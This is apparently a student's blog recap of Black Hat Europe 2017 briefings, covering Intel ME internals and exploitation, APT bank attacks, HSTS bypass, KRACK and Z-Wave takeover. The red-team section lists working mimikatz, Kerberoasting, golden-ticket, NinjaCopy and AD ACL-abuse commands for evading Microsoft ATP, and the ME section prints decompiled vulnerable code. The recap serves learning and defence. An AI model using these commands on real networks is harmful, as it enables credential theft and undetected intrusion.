Black Hat Europe 2017


Introduction

First of all, thanks, Black Hat to win places for a student! I filled the annual survey and that happens, it’s crazy! Then, me and 3 my friends (see below) went to London!

All briefing was interesting, but the most impressive one was on Intel ME from Mark Ermolov, Maxim Goryachy and Dimitry SKLYAROV

I’ll present this article by day and briefing. At the end of each briefing, I’ll add a personal point of view. So, let’s start! :)

Day 1

Diplomacy and Combating Evolving International Cyber Threats


Chris Painter - State department’s top cyber diplomat

Chris Painter talked about the history of the cyber in his country, and his own history. The presentation highlights something interesting, according to Chris Painter, policy threats are more often dangerous than technical threats.

The world is more and more connected, and everything is connected to the Internet. It’s the main reason why Wannacry and NotPetya did so much damage in UK (and obviously in other countries). Also, it’s very difficult, even impossible, to assign an attack to a group or state/government. At last, a government does not disclose all information about an attack.

Chris Painter told about worldwide cyber norms during peacetime (1) and wartime to harmonize instructions. Laws processes are too slow, so if you don’t respect norms, there are no sanctions yet…

Another sensitive point is terrorism. Chris Painter said that we have to monitor people to monitor terrorism because they use the internet to communicate with each other, not attacks.

Finally, it’s hard to ask a physical and/or military response to a cyber attack if there is not at least one death.

From a personal point of view, it was interesting to see how the UK manages cyber attacks and what is planned for the future.

Sources document

  1. Fergus Hanson, Norms of Cyber War in Peacetime, Sunday, November 15, 2015. https://www.lawfareblog.com/norms-cyber-war-peacetime
  2. Mei Gechlik, Appropriate Norms of State Behavior in Cyberspace: Governance in China and Opportunities for US Businesses, Aegis Series Paper No. 1706. https://www.hoover.org/sites/default/files/research/docs/gechlik_webreadypdf.pdf
  3. Wikipedia, Colossus computer. https://en.wikipedia.org/wiki/Colossus_computer

By-design Backdooring of Encryption System - Can we trust Foreign Encryption Algorithms


Arnaud BANNIER & Eric FILIOL (speaker) from ESIEA

Few countries (French, Germany, thee UK and so on) are asking for encryption backdoor law (23) in IoT. Since World War 2, there is a government (G-20 countries now) control on cryptography.

Eric FILIOL says that there are differences between trapdoor and backdoor.

In mathematical backdoors, there is two type of weaknesses.

Now, the question is: Can we trust cryptographic algorithms from a third-party country?

There are not many choices in cryptography, for public symmetrical and secure algorithms, we have only AES at this time.

Eric FILIOL advises us to read Verschlüsselt, Der Fall Hans Bühler. This book talks about an Iranian guy that proves cryptographic algorithms were backdoored. At this time, algorithms were not public, this man was arrested in 1992.

The NSA did a new cryptographic algorithm for IoT, but after pressure, from experts and corporate, ISO rejected the standard.

The researcher Eric FILIOL talked about the BEA-1 algorithm and how is it possible to inject a mathematical backdoor.

His presentation (1) present all the process, I let you check it :)

From a personal point of view, this presentation was a good introduction to backdoors in encryption algorithms. But, honestly, I didn’t understand everything :-)

Sources documents

  1. Arnaud BANNIER & Eric FILIOL, Black Hat presentation, Wednesday, December 6, 2017. https://www.blackhat.com/docs/eu-17/materials/eu-17-Filiol-By-Design-Backdooring-Of-Encryption-System-Can-We-Trust-Foreign-Encryption-Algorithms.pdf
  2. Kieren MCCARTHY, French, German ministers demand new encryption backdoor law, August 26, 2016. https://www.theregister.co.uk/2016/08/24/french_german_ministers_call_for_new_encryption_backdoor_law/
  3. James VINCENT, UK government renews calls for WhatsApp backdoor after London attack, March 27, 2017. https://www.theverge.com/2017/3/27/15070744/encryption-whatsapp-backdoor-uk-london-attacks
  4. Cryptographic laws in different countries. http://www.cryptolaw.org/

Intel ME: Flash File System Explained


Dimitry SKLYAROV - Positive Technologies

Dimitry SKLYAROV starts his presentation by introducing the Intel Management Engine and the hierarchy in a computer.

Hierarchy of a computer:

  1. User
  2. OS Kernel
  3. Hypervisor
  4. System Management Mode (SMM)
  5. Management Engine (ME)

Top layer (user) has limited permission on the under layer (OS Kernel) and this mecanism works until the fifth layer. On the other hand, the under layer has full access on the top one. Then, from 1 to 5 -> limited access and from 5 to 1 -> Full access. To conclude, Intel ME got full access to the machine.

I let you imagine what happens if malware goes into the ME. The ME is a standalone electronic chip before the CPU, it interacts with all other components.

Dimitry SKLYAROV says that before trying to flash the Intel ME, you have to erase it completely. But, there is a limited number of cycles (between 10 000 and 1 000 000). After this limit, the ME is unusable.

Intel made design the flash with incremental modification to avoid redundantly erases and distribute erases between block as evenly as possible to preserve the ME.

After the introduction, Dimitry SKLYAROV talked about MFS pagination. Inside the ME, all MFS page has the same size (8192 bytes), starts with the same header (0xAA557887) and there is always an empty page.

Signature USN nErase iNextErase firstChunk csum 0x00

Each page contains 66 bytes chunks, it’s an addressable and modifiable unit in the page of the MFS. Those chunks contain 2 bytes of checksum at the end (CRC-16).

Dimitry SKLYAROV mentions that reversing CRC-16 allows easy calculation of the chunk index. By the way, indexing is the reason why checksum is different for the same data.

Just after the header chunk, there is the system chunk. As the Dimitry SKLYAROV picture shows below, this chunk is composed of:

axIdx is a 16 bits array, entries of this array are the number of chunks + 1 and it is dynamically XORed. The key value depends on the previous value from axIdx. You can recover it by reversing CRC-16 function (in fact, it’s a modified algorithm stripped to 14 bits).

Data pages are easier to understand. After the header page, there is the aFree bit. This bit tells if the data chunk contains something or not (aFree[i] == 0xFF).

Each Data chunk is stored once with a sequential number started from the first chunk.

System chunks are stored accords to the update order, not sequentially. Then, an index from System page is derived from axIdx value.

Now, to extract data, Dimitry SKLYAROV explains that you have to follow this diagram:

Diagram
int32 - Volume Signature (0x724F6201)
int32 - Volume Version ?
int32 - Total capacity: System area + Data area
int16 - Number of files records
int16 - File allocation table

Low-Level MFS does not support file names. Files are identified by numbers (from 0 to nFiles-1). Let Dimitry SKLYAROV explains his diagram:

  1. Calculate the index in File Allocation Table: ind = aFAT[iFile]. Values 0x0000 for unused and 0xFFFE for erased means that file does not exist and values 0xFFFF means empty file.
  2. ind must be between nFiles and aFAT length.
  3. Extract chunk data
  4. Calculate the next index
  5. If the new value is between 0 and chunk size MFS, then output first ind bytes of data and goes to the end of the process.
  6. Output all 64 bytes of data and processes to step 2.

After that, Dimitry SKLYAROV did an MFS template from fit.exe.

Then MFS is composed of:

Dimitry SKLYAROV attentions was on Slot 6, containing the intel.cfg file. This file is necessary for ME deployment at the first run. Here is the structure:

File # Description
2,3 AR (Anti-Replay) table
4 Used for migration after SVN (Secure Version Number) upgrade
5 File System Quota storage (related to User info metadata extension for vfs module
6 /intel.cfg file (default state of FS configured by Intel). SHA256 of intel.cfg is stored in System Info manifest extension
7 fitc.cfg file (vendor-specific FS configuration). Can be created by platform vendor using Intel’s Flash Image Tool (fit.exe)
8 /home/ directory (starting directory for ME files stored in MFS)

Below a partial dump of the intel.cfg:

Diagram
int32 - Number of records
File Name (char name[12])
int16 - unused, always 0
int16 - Access mode
int16 - Deploy options
int16 - File data length
int16 - Owned user ID (UID)
int16 - Owner group ID (GID)
int32 - File data offset
int8 - File data

Letters in mode and opt field means:

An MFS directory is just an array of records describing containing files. MFS file #8 always represents the /home/ directory. Here is the structure:

Struct - T_MFS_Folder_Record
int32 - filenoi (FS, salt, iFile)
int16 - mode (Access mode)
int16 - uid (Owner User ID)
int16 - gid (Group User ID)
int16 - salt (Another salt)
name[12] - File name

And a dump of the password manager located in the home/policy/pwdmgr/ directory:

Meaning of fileno:

Bits Description of fileno fields
11..0 iFile (0..4095)
27..12 16 bits of salt
31..28 FileSystem ID (always 1)

and mode:

Bits Description of mode fields
8..0 rwxrwxrwx Unix-like rights
9 I Enable integrity protection
10 E Enable encryption
11 A Enable anti-replay protection
13 N Use non-Intel keys
15..14 d Record type (0: file, 1: directory)

If bit 9 (for integrity) is set in the mode field, raw file contains additional security blob. It is added to the Anti-replay tables (iFile == 2,3) and /home/ directory (iFile == 8).

The final part of the Dimitry SKLYAROV presentation was about File system security keys. There are up to 10 security keys involved in protecting the MFS content.

Replay-Protected Monotonic Counter is a feature of the SPI flash. If this feature is unavailable, then the ME implements its own counter. There are two keys to handle RPMC, RPMC HMAC keys.

Two more keys are used to protect Integrity and Confidentiality. Moreover, there are two sets of keys: Intel keys and Non-intel keys (motherboard manufacturer keys).

Surprisingly enough, Intel keys are used in rare modules (sigma, ptt, dal_ivm, mca).

It’s possible to derive keys, and Secure Key Storage is allowed for ROM, bup and crypto modules.

Knowing GEN secret for non-intel keys (via JTAG) allows to read/write on the MFS. If we can execute code into bup module, then it is possible to recover intel keys.

From a personal point of view, I loved this presentation! I’m very interested in Intel ME and how it works. After the briefing, a lot of things were much clearer to me.

Sources documents

  1. Dimitry SKLYAROV, Flash File System Explained, Wednesday, December 6, 2017. https://www.blackhat.com/docs/eu-17/materials/eu-17-Sklyarov-Intel-ME-Flash-File-System-Explained-wp.pdf
  2. Dimitry SKLYAROV, Black Hat Presentation, Wednesday, December 6, 2017. https://www.blackhat.com/docs/eu-17/materials/eu-17-Sklyarov-Intel-ME-Flash-File-System-Explained.pdf
  3. Intel Reference Guide, Intel AMT Release 2.0/2.12.2 Architecture. https://software.intel.com/sites/manageability/AMT_Implementation_and_Reference_Guide/default.htm?turl=WordDocuments/intelamtrelease202122architecture.htm
  4. Xiaoyu Ruan, Platform Embedded Security Technology Revealed. https://link.springer.com/content/pdf/10.1007%2F978-1-4302-6572-6.pdf
  5. Igor Skochinsky, Intel ME Secrets. https://recon.cx/2014/slides/Recon%202014%20Skochinsky.pdf
  6. Positive Technologies, Intel ME: The Way of the Static Analysis. https://www.troopers.de/downloads/troopers17/TR17_ME11_Static.pdf
  7. Positive Technologies, [Github] Intel ME 11.x Firmware Images Unpacker. https://github.com/ptresearch/unME11

Nation-State Moneymule’s Hunting Season - APT Attacks Targeting Financial Institutions


Min-Chang Jang (speaker), Chi-en Shen (speaker) & Kyoung-Ju Kwak from KFSI & Team T5

They started to introduce different groups and made a timeline of different attacks:

Korea Major Bank Attack By Bluenoroff

In March 2017, the Korea major bank has been attacked. Targets were employees in charge of the SWIFT system. Bluenoroff found a 0day in a file sharing function in VDI Program (4).

No severe damage and only 2 PC infected

Malware used is in Manuscrypt family.

IP was hidden in a plain registry key. Data sent to the C2 were encoded.

And here is how analyst were able to decode the data:

ATM Operator Company Break aka VANXATM

The operation started from Feb 2015 and leakage in March 2017. The target is ATM Operator Company (manage more than 2000 ATM).

Andareil group used a 0day in AV and misconfiguration/mismanagement between ATM machines and ATM update server.

230 000 credit card information leaked.

Malware fs.exe:

For the VANXATM case, Andariel group targeted only 64 ATM, because they have plain credit card information on a FTP.

Bitcoin Exchanges Hacked

Four Bitcoin exchanges were attacked. Attacker impersonates the public institutes for phishing and they used nine email accounts for attack (4 out 9 were stolen).

Mobile malware to bypass SMS authentication.

Sample hash: 22a279c5685d7c3e24c04580204a8a932b2909a77a549bdd7bcf7ead285efde9

They used Ghostscript vulnerability (kind of macro attack).

Personal point of view, malware developed by those groups are not “complicated”. They’re not (or few) obfuscated, the real exploit is the recon step.

They can use cryptocurrencies to buy C&C server, to be more difficult to find. Bitcoin obtained via stole or ransomed action.

According to McAfee, Lazarus moved to mobile platforms (2). Unit 42 from Palo Alto discovered a cluster of malware, which targets Samsung devices and Korean Languages speakers (3).

Andariel acts during company activity, to be quieter during the attack.

From a personal point of view, it is pretty cool to see how this kind of attack is defeated, and how those cybercriminals planned their actions. I’m just a bit surprised by malware developed by those groups, they are not encrypted or very hard to reverse.

Sources documents

  1. Chi-En Shen, Min-Chang Jang & Kyoung-Ju Kwak, Black hat presentation, Wednesday, December 6, 2017. https://www.blackhat.com/docs/eu-17/materials/eu-17-Shen-Nation-State%20Moneymules-Hunting-Season-APT-Attacks-Targeting-Financial-Institutions.pdf
  2. Christian Beek, Lazarus Cybercrime Group Moves to Mobile Platform, November 20, 2017. https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-cybercrime-group-moves-to-mobile/
  3. Anthony Kasza, Juan Cortes, and Micah Yates, Operation Blockbuster Goes Mobile, November 20, 2017. https://researchcenter.paloaltonetworks.com/2017/11/unit42-operation-blockbuster-goes-mobile/
  4. TechNet Archive, Using a Host-Guest communication channel in Windows Virtual PC, October 13, 2009. https://blogs.technet.microsoft.com/windows_vpc/2009/10/13/using-a-host-guest-communication-channel-in-windows-virtual-pc/

How to Hack a Turned-Off Computer, or Running Unsigned Code in Intel Management Engine

Mark Ermolov & Maxim Goryachy from Positive Technologies

They revealed CVE-2017-5705,6,7 (3). As Mark Ermolov tweet says, their vulnerability depends on MFS.

There are few vulnerabilities in the ME, but only 1 allows execution of arbitrary code on ME! But, now, there is two.

Potentials attack vectors:

The architecture of the ME shows 2 issues:

In high privileged modules, we meet BUP, as we saw with first ME briefing.

BUP can create a child process, and of course, choose its privilege. Also, this module exists on all platforms, has access to security sensitive hardware, can bypass MFS protection, one of the largest modules (more code = more attack vector) and interacts with the host via HECI.

In the processing of reverse engineering, they find a buffer overflow vulnerability in the Trace hub initialization. Here is the function code:

void __cdecl bup_init_trace_hub ()
{
    int err; // eax 
    eax signed int npk_reg_idx; // ebx 
    ebx unsigned int bytes_read; // [esp+0h] [ebp-350 h]
    unsigned int file_size; // [esp+4h] [ebp-34 Ch] 
    int si_features[5]; // [esp+8h] [ebp-348 h] 
    int ct_data[202]; // [esp+1Ch] [ebp-334 h] 808 bytes 
    int cookie; // [esp+344h] [ebp - Ch] 

    cookie = gRmlbCookie;
    memset (si_features, 0, 0x14u);
    bytes_read = 0;
    file_size = 0;
    if (!(getDW_sel (0xBF,0xE0u) & 0x1000000) 
        && !bup_get_si_features (si_features) 
        && !bup_dfs_get_file_size ("/home/bup/ct", &file_size)) {
            if (file_size){
                LOBYTE (err) = bup_dfs_read_file ("/home/bup/ct", 0, ct_data, file_size, &bytes_read);
                npk_reg_idx = 0;

                if (!err) {
                  while (npk_reg_idx < HIWORD (ct_data[1]))
                    {
                        if (HIBYTE (ct_data[2 * npk_reg_idx + 2]) == 1)         
                            putDW_sel (0xB7, ct_data[2 * npk_reg_idx + 2] & 0xFFFFF, ct_data[2 * npk_reg_idx + 3]);
                        if (HIBYTE (ct_data[2 * npk_reg_idx + 2]) == 2)
                            putDW_sel (0xBF, ct_data[2 * npk_reg_idx + 2] & 0xFFFFF, ct_data[2 * npk_reg_idx + 3]);  
                        ++npk_reg_idx;
                    }
                  bup_switch_tracer (0xB7, 0xBF u);
                }
            }
        }
  if (gRmlbCookie != cookie)
    sys_fault ();
}

So the vulnerability is here, but there is a stack protection against buffer overflow, the stack cookie:

void __cdecl bup_init_trace_hub ()
{
    [...]
    int ct_data[202]; // [esp+1Ch] [ebp-334 h] 808 bytes 
    int cookie; // [esp+344h] [ebp - Ch] 

    cookie = gRmlbCookie;
    [...]
    if (!(getDW_sel (0xBF,0xE0u) & 0x1000000) 
        && !bup_get_si_features (si_features) 
        && !bup_dfs_get_file_size ("/home/bup/ct", &file_size)) {
            if (file_size){
                LOBYTE (err) = bup_dfs_read_file ("/home/bup/ct", 0, ct_data, file_size, &bytes_read);
    [...]
    if (gRmlbCookie != cookie) // Stack protection
        sys_fault ();
}

The /home/bup/ct is an unsigned file from fitc.cfg (cf. First presentation):

The stack cookie implements:

To bypass the protection they decided to intercept the execution flow and exploit the buffer overflow before the cookie checking.

To do that, in the code above, we can see the bup_dfs_read_file that indirectly call a memcpy function. Then, they have the destination address of the structure they named Tread Local Storage (TLS). In BUP read/write functions obtains and records data via a shared memory mechanism. Because BUP interacts with MFS though another module file system driver. The TLS region can be overwritten by a read function, and then bypass the buffer overflow protection.

Code flow
bup_init_trace_hub
bup_dfs_read_file
bup_read_mfs_file
sys_write_shared_mem

The TLS structure looks to:

And now, the serious problem architecture is that the TLS structure is stored at the bottom of the stack. Then you can erase the gs:[0], the self-pointer and generate a new structure, it allows an attacker to write arbitrary data.

Here is a diagram of the stack (from presentation (1)):

Now, Mark Ermolov & Maxim Goryachy tells us how to get an arbitrary write primitive. They “just” rewrite (there is no ASLR) the return address of memcpy to hijack the program control flow.

But, Stack is nonexecutable, then they create their own module and integrate it into the firmware. This module used ROP gadgets to:

Is remote exploitation possible?

Yes, if:

Updates systems are not out of danger because the firmware downgrade to a vulnerable version is possible, but it needs a physical access to the target.

TLS is still at the same place, even after the update.

From a personal point of view, this presentation was just awesome, it’s the presentation that I enjoyed the most. I think in my final year at school, I will take the Intel ME as a research paper.

During Demo Time, they played a video showing a big “GAME OVER” blinking on the screen at boot (not at windows boot, at computer boot, so we could see the message before the loading screen of Windows).

Sources documents

  1. Mark Ermolov & Maxim Goryachy, Black hat presentation, Wednesday, December 6, 2017. https://www.blackhat.com/docs/eu-17/materials/eu-17-Goryachy-How-To-Hack-A-Turned-Off-Computer-Or-Running-Unsigned-Code-In-Intel-Management-Engine.pdf
  2. Mark Ermolov & Maxim Goryachy, [Paper] How to Hack a Turned-Off Computer, or Running Unsigned Code in Intel Management Engine. https://www.blackhat.com/docs/eu-17/materials/eu-17-Goryachy-How-To-Hack-A-Turned-Off-Computer-Or-Running-Unsigned-Code-In-Intel-Management-Engine-wp.pdf
  3. CVE-2017-5705, https://nvd.nist.gov/vuln/detail/CVE-2017-5705
  4. CVE-2017-5706, https://nvd.nist.gov/vuln/detail/CVE-2017-5706
  5. CVE-2017-5707, https://nvd.nist.gov/vuln/detail/CVE-2017-5707
  6. CVE-2017-5689, https://nvd.nist.gov/vuln/detail/CVE-2017-5689

Goodies hunting part 1

At the end of the first day, with @razaborg we tried some challenge offered by companies in the business hall, and getting some goodies!

The challenge tested (by a company whose I forgot the name, really sorry :X), was an IP camera inside a box with digital code protection. Numbers were hidden on the presentation stand, we find 3 on the 6, not enough, unfortunately…

Day 2

Red Team Techniques for Evading, Bypassing, and Disabling MS Advanced Threat Protection and Advanced Threat Analytics

Chris THOMPSON (@retBandit) from IBM X-Forced Red

Step in a red team mission:

Obfuscated PowerShell script triggered Advanced Threat Protection (ATP). ATP includes machine learning and AMSI.

Defender ATP =/= Defender AV

Misc techniques to gain the initial foothold: * Obfuscated JScript/VBScript THAT DON’T USE KERNEL32 API. * Using signed exec’s to load a Cobalt stageless payload. * Some executables created with Veil (Go) and Shellter.

Not detected: WMI

wmic process list brief
wmic group list brief
wmic computersystem list
wmic process list /format:list
wmic ntdomain list /format:list
wmic useraccount list /format:list
wmic group list /format:list
wmic sysaccount list /format:list
wmic /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get *
Get-WmiObject -Class Win32_UserAccount -Filter "LocalAccount='True'"

Use MSF modules with local WinAPI calls, such as file_from_raw_ntfs.rb, don’t use local_admin_search_enum.rb.

CobaltStrike has a number of modules that are API-only.

Avoid AMSI

Userland Persistence and AMSI Bypass via Component Object Model Hijacking.

ATP can’t be stopped or uninstalled, even with a SYSTEM account, because of Protected Process Light.

But it’s possible to block ATP communications via DiagTrack Service. Hijack DLL to remove PPL protection? (personal note: not sure)

Mimikatz driver is registered as malicious now, but you change the service name and re-sign it.

It’s possible to block all Windows Defender/ATP Comms via Firewall (1 page 42)

Not detected: Using LDAP/Powerview to gather computers/users.

Get-NetComputer -verbose -domain prod.local
Get-NetGroupMember -GroupName "Enterprise Admins" -Domain dev.local -verbose

Not detected: Enumeration via WMI Local Name Space

Domain User Accounts:

Get-WmiObject -Class Win32_UserAccount -Filter "Domain='dev' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired, PasswordChangeable, Description, SID

Domain Groups:

Get-ComInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name like '%Admin%'"

Domain Group User Memberships:

Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name='Enterprise Admins'" | Get-CimAssociatedInstance - Association Win32_GroupUser

Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name='Microsoft Advanced Threat Analytics Administrator'" | Get-CimAssociatedInstance - Association Win32_GroupUser

Not detected: SPN Enumeration & Kerberoasting

Get-NetComputer -SPN mssql*
Get-NetUser -SPN | Get-SPNTicket -OutputFormat Hashcat

Not detected: Silver ticket

The golden ticket is a forged TGT, Silver ticket is a forged TGS. No DC server contacted.

Not detected: Enumerating AD Access Control Entries

Invoke-BloodHound -CollectionMethod ACL -ExcludeDC

Not detected: Escalation via Selective AD ACL Abuse

>Add-DomainGroupMember -Identity sql01admins -Members edwardabbey

> Set-DomainUserPassword -Identity webservice -AccountPassword$Password

Over-Pass-The-Hash is detected using KRBTGT NTLM hash.

Not detected: Over-Pass-The-Hash using all hash/keys.

In a mimikatz console:

sekurlsa::pth /user:administrator /domain:prod.local /aes256:<data> /ntlm:<hash> /aes128:<data>

Lateral movement via SQL Auth is not detected.

For the dominance.

Not detected: PowerSploit: Mimikatz in memory w/ LSASS injection

Invoke-Mimikatz -Command '"privilege::debug" "LSADump::LSA /inject"' -Computer dc03.prod.local

Not detected: PowerSploit: Ninja-Copy (PSRemoting with Raw Disk Access)

Invoke-NinjaCopy -Path "c:\Windows\System32\config\SYSTEM" -ComputerName "dc03.prod.local" -LocalDestination "c:\temp\system"

Not detected: Golden ticket w/ AES Key

In mimikatz console:

kerberos::golden /user:JohnVanwagoner /domain:prod.local /sid:sid /aes256:aes256 /groups:512,513,519 /startoffset:-1 /endin:2500 /renewmax:3000 /ptt
Red Team Takeaways
Return to living off the land, directly call APIs
Leverage host based PowerShell tools only after you’ve blocked or disabled ATP & event log forwarding
Review RDP/PS/Session history to help avoid user behavior analytics
Block event log forwarding to prevent Sysmon/WMI/PowerShell/Security logs giving you away
Use ACE/DACL abuse to help avoid using RCE when possible
Focus on info gathering and lateral movement techniques that don’t comm with the DC, liks SQL auth and Silver Tickets
Kerberoast & Silver Ticket all the things
Use AES for Over-PTH, Golden Tickets
Abuse Forest Trusts
Blue Team Takeaways
Limit PS Remoting sources to dedicated admin workstations
Use JEA (Just Enough Administration) to help prevent lateral movement success
Harden SQL servers, review forest trusts
Integrate SIEM/VPN logs into ATA
Use Event Log Forwarding for Sysmon and WMI logging with shorter polling times
Audit your AD object ACLs with BloodHound
Enforce AES-256, especially for service account SPNs
Enforce “Binary Signature Policy” in 1703 to help protect PPLs
Integrate those new Defender branded tools like Exploit Guard (WDEG)
Enforce EMET/WDEG’s Attack Surface Reduction (ASR) rules

From a personal point of view, being a pentester, this presentation was one of the most interesting. I didn’t even know ATA and ATP before the briefing. Maybe I will build a little lab to test all of this.

Source documents

  1. Chris THOMPSON, Black hat presentation, Thursday, December 7, 2017. https://www.blackhat.com/docs/eu-17/materials/eu-17-Thompson-Red-Team-Techniques-For-Evading-Bypassing-And-Disabling-MS-Advanced-Threat-Protection-And-Advanced-Threat-Analytics.pdf
  2. Andy Robbins, [GitHub] BloodHoundAD, September 19, 2016. https://github.com/BloodHoundAD/Bloodhound/wiki

Breaking Out HSTS (and HPKP) on Firefox, IE/Edge and (Possibly) Chrome

Sheila Ayelen Berta & Sergio De Los Santos from ElevenPaths

Most of the MITM attacks doesn’t work anymore today. That’s why HSTS and HPKP are created.

When a user is connected to an HSTS website, the first time the client connects to the port 80 of the website and he is redirected to the 443 port. With HSTS, next time client connects to the website, it will be automatically on the 443 port, then SSLStrip is useless.

HPKP will get the certificate signature, or “certificate pinning” and compares it at every connection. If the signature is modified, then the browser drop the connection.

Firefox

To remember which site has HSTS and who is the owner of each certificate signature, Firefox uses a small text file (SiteSecurityServiceState.txt). In the Firefox source code, this plain text file can take 1024 entries maximum.

With cloudspinning researchers sent a lot of HSTS data to the target Firefox. When 1024 entries are exceeded, the original results in the plain text are erased.

Then the client will need to go to the 80 port again, and if you start SSLStrip at the right moment, you’re MITM is perfectly performed.

To playing with the Score columns, you can use the Delorean script (2).

Chrome

Chrome runs the same system as Firefox, but there is no limit on this text file. Problem solved? Not really…

Even if there is no limit, Chrome will store every result in the file. If you send a lot of requests, just as with Firefox during a couple of minutes, 1015 or more, this file will become very huge (200300 Mo).

Each request sent by Chrome is analyzed with this file to know if we can use HSTS or HPKP. Then Chrome is unusable at all, because browsing a 400 Mo file is slow! Then, you have to wipe all data.

The same thing as Firefox, SSLStrip will work now.

Internet Explorer/EDGE

IE/EDGE doesn’t use a simple text file, they use a database. Now, there is two important point here:

HSTS in IE/EDGE is managed by WinInet.dll.

Due to problems in the storage process, not all HSTS website is remembered. Then if you clear the cache, the user hasn’t a real HSTS protection.

From a personal point of view, before this briefing I just had a little idea of how HSTS and HPKP works. The presentation was very clear and interesting.

Source documents

  1. Sheila Ayelen Berta & Sergio De Los Santos, Black hat presentation, Thursday, December 7, 2017. https://www.blackhat.com/docs/eu-17/materials/eu-17-Berta-Breaking-Out-HSTS-And-HPKP-On-Firefox-IE-Edge-And-Possibly-Chrome.pdf
  2. PentesterES, [GitHub] Tools to bypass FF, Chrome and IE HSTS/HPKP protection. https://github.com/PentesterES/Delorean

Key Reinstallation Attacks: Breaking the WPA2 Protocol

Mathy Vanhoef from KU Leuven

In the WPA2 process, there are 3 step:

  1. Pairing step
  2. 4-Way Handshake
  3. Group Key Handshake

The KRACK vulnerability is in the 4-Way Handshake. Here is a standard 4-Way Handshake:

According to the 802.11r: FT - Fast Basic Service State Transition

If the access point never receives the last transmission of the 4-Way Handshake, it has to resend first message (ANonce + Access point MAC) and third message (“I generated the PTK!”). Each third message received by the client, it has to update the PN counter with the one received by the access point.

If an attacker intercepts the fourth message, then the client will continue to communicate normally (encrypted communication), but after few moment the access point will timeout and resend 1st en 3rd transmission. According to the norms, the client will reinstall the PN counter.

WPA2 cipher broken. After that, it’s easy to decrypt the network flow. Because GCMP and TKIP allow injection and forge of the new packet, then you can forge known packet and send him to the access point or client and received the encrypted packet.

Then:

Interesting fact, the WPA_Supplicant implement in Linux and Android will not reinstall the PTK with Access point PN counter after the fourth request. It will simply erase the PTK and replace it with 0.

krack presentation

From a personal point of view, I’m a bit frustrated by this presentation. He didn’t go very far technically, just presented his paper (available on the internet). Also, Mathy Vanhoef didn’t release his tool, maybe in the 34C3…

Source documents

  1. Mathy Vanhoef. [Paper] Key Reinstallation Attack, Thursday, December 7, 2017. https://papers.mathyvanhoef.com/blackhat-eu2017.pdf.
  2. Mathy Vanhoef. Krack Attack – Breaking WPA2 by forcing nonce reuse, https://www.krackattacks.com/
  3. Mathy Vanhoef, [GitHub] Test equipment. https://github.com/vanhoefm/krackattacks-scripts
  4. Hackndo aka Pixis. [GitHub] Krack PoC, https://github.com/Hackndo/krack-poc
  5. Hackndo aka Pixis, KRACK casser le WPA2, http://beta.hackndo.com/krack/

A Universal Controller to Take Over a Z-Wave Network

Loïc ROUCH (speaker), Jérôme FRANÇOIS, Frédéric BECK from INRIA Nancy

There is two mode in Z-wave: unsecure & secure. Loïc ROUCH explains how the unsecure mode can be exploited to make a universal controller.

The target network looks to:

The attacker will need:

There is a HomeID/NodeID for the master and only NodeID for the slave. During association and pairing, the master will send his HomeID to the slave.

Then, the attack is based on the HomeID. You have to get it and replay it to control all associated slaves.

The DVB-T Tuner is necessary to get the HomeID (3):

rtl_sdr -f 868420000 -s 2000000 -g 25 - | ./wave-in -u

First fourth bytes are the HomeID.

Through the Backup and restore function, they restore the stolen HomeID.

But, impersonate the new HomeID doesn’t mean that you have the control of all slave. Not yet.

With the Z-Wave controller, you just have to scan the Network and slaves will connect to you.

From a personal point of view it was a cool presentation, unfortunately, the demonstration didn’t work. Maybe I’ll try to reproduce this later :-)

Source documents

  1. Loïc ROUCH, Jérôme FRANÇOIS & Frédéric BECK, [Paper] A Universal Controller to Take Over a Z-Wave Network, Thursday, December 7, 2017. https://www.blackhat.com/docs/eu-17/materials/eu-17-Rouch-A-Universal-Controller-To-Take-Over-A-Z-Wave-Network-wp.pdf
  2. Loïc ROUCH, Jérôme FRANÇOIS & Frédéric BECK, Black hat presentation, Thursday, December 7, 2017. https://www.blackhat.com/docs/eu-17/materials/eu-17-Rouch-A-Universal-Controller-To-Take-Over-A-Z-Wave-Network.pdf
  3. Baol, [GitHub] Waving-Z. https://github.com/baol/waving-z

Goodies hunting part 2

With @razaborg again, we wanted to try the NCC Group challenge.

This challenge was in 2 parts, first, we started with a commercial invoice and a QR Code. After that, NCC Group employee gave us an NFC card.

First step:

Second step:

w00t \o/

Here is a picture of my loot:

Others briefing

Arsenal

The Arsenal was little presentation stand and people introduced their tools.

All tools are available on that GitHub: https://github.com/toolswatch/blackhat-arsenal-tools

From a personal point of view Arsenal is really great to make known people, I think I will try in BH 2018 with Auto-Vol! :-D

Conclusion

I think it’s my best event at this time! Briefings were crazy, arsenal tools were crazy too and there was a lot of goodies!

I also met nice people, such as:

Feel free to contact me on Twitter or by email! See you soon :-D

Thanks to Nicolas TERRIEN for his english skills! :D

Home


COMMENTS